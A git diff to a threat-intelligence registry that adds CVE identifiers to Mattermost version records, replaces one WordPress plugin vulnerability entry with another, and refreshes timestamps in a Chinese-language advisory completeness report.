--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-fixed-10-11-11.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-fixed-10-11-11.json
index 7e6b691a..9714c215 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-fixed-10-11-11.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-fixed-10-11-11.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-incompatible-fixed-10-11-11-incompatible.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-incompatible-fixed-10-11-11-incompatible.json
index 025f89ac..0ffcbb26 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-incompatible-fixed-10-11-11-incompatible.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-10-11-0-rc1-incompatible-fixed-10-11-11-incompatible.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-2-0-rc1-fixed-11-2-3.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-2-0-rc1-fixed-11-2-3.json
index ee0de3f6..50ab4e10 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-2-0-rc1-fixed-11-2-3.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-2-0-rc1-fixed-11-2-3.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-3-0-rc1-fixed-11-3-1.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-3-0-rc1-fixed-11-3-1.json
index 474edd3c..e6161bab 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-3-0-rc1-fixed-11-3-1.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-11-3-0-rc1-fixed-11-3-1.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/wordpress--1-1-1-reflected-cross-site-scripting-vulnerability.json b/08-threat-intel/registry/versions/wordpress--1-1-1-reflected-cross-site-scripting-vulnerability.json
deleted file mode 100644
index a4cbb028..00000000
--- a/08-threat-intel/registry/versions/wordpress--1-1-1-reflected-cross-site-scripting-vulnerability.json
+++ /dev/null
@@ -1,14 +0,0 @@
-{
- "version_id": "wordpress--1-1-1-reflected-cross-site-scripting-vulnerability",
- "entity_id": "wordpress",
- "root_system_id": "wordpress",
- "version": "1-1-1-reflected-cross-site-scripting-vulnerability",
- "released_at": null,
- "release_url": "https://patchstack.com/database/wordpress/plugin/gallery-for-ultimate-member/vulnerability/wordpress-video-photo-gallery-for-ultimate-member-plugin-1-1-1-reflected-cross-site-scripting-vulnerability",
- "source_name": "Patchstack Database",
- "source_confidence": "ecosystem-authority",
- "security_relevant": true,
- "reason": "security-release",
- "advisory_refs": [],
- "is_latest_snapshot": false
-}
diff --git a/08-threat-intel/registry/versions/wordpress--3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability.json b/08-threat-intel/registry/versions/wordpress--3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability.json
new file mode 100644
index 00000000..07c1f299
--- /dev/null
+++ b/08-threat-intel/registry/versions/wordpress--3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability.json
@@ -0,0 +1,14 @@
+{
+ "version_id": "wordpress--3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability",
+ "entity_id": "wordpress",
+ "root_system_id": "wordpress",
+ "version": "3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability",
+ "released_at": null,
+ "release_url": "https://patchstack.com/database/wordpress/plugin/smart-slider-3/vulnerability/wordpress-smart-slider-3-plugin-3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability",
+ "source_name": "Patchstack Database",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "security-release",
+ "advisory_refs": [],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/wordpress--1-1-1.json b/08-threat-intel/registry/versions/wordpress--3-5-1-33.json
similarity index 61%
rename from 08-threat-intel/registry/versions/wordpress--1-1-1.json
rename to 08-threat-intel/registry/versions/wordpress--3-5-1-33.json
index a474d203..6df6922c 100644
--- a/08-threat-intel/registry/versions/wordpress--1-1-1.json
+++ b/08-threat-intel/registry/versions/wordpress--3-5-1-33.json
@@ -1,10 +1,10 @@
{
- "version_id": "wordpress--1-1-1",
+ "version_id": "wordpress--3-5-1-33",
"entity_id": "wordpress",
"root_system_id": "wordpress",
- "version": "1.1.1",
+ "version": "3.5.1.33",
"released_at": null,
- "release_url": "https://patchstack.com/database/wordpress/plugin/gallery-for-ultimate-member/vulnerability/wordpress-video-photo-gallery-for-ultimate-member-plugin-1-1-1-reflected-cross-site-scripting-vulnerability",
+ "release_url": "https://patchstack.com/database/wordpress/plugin/smart-slider-3/vulnerability/wordpress-smart-slider-3-plugin-3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability",
"source_name": "Patchstack Database",
"source_confidence": "ecosystem-authority",
"security_relevant": true,
diff --git a/docs/testing-completeness-report.md b/docs/testing-completeness-report.md
index 847dc10b..0ce84c01 100644
--- a/docs/testing-completeness-report.md
+++ b/docs/testing-completeness-report.md
@@ -1,6 +1,6 @@
# 全库 Advisory 完整度报告
-- 生成时间: `2026-03-26T10:20:35+00:00`
+- 生成时间: `2026-03-27T09:31:01+00:00`
- 最新 advisory 完整度: `89/89` `verified-real`
- 合成验证数量: `0`
- 阻塞数量: `0`
@@ -8,7 +8,7 @@
- 完整度百分比: `100.0%`
- active source 全绿: `102/102`
- source open alerts: `0`
-- 最近一次 source 全绿: `2026-03-26T10:20:18+00:00`
+- 最近一次 source 全绿: `2026-03-27T09:30:44+00:00`
- 已编目实体: `110`
- 待编目 backlog: `7`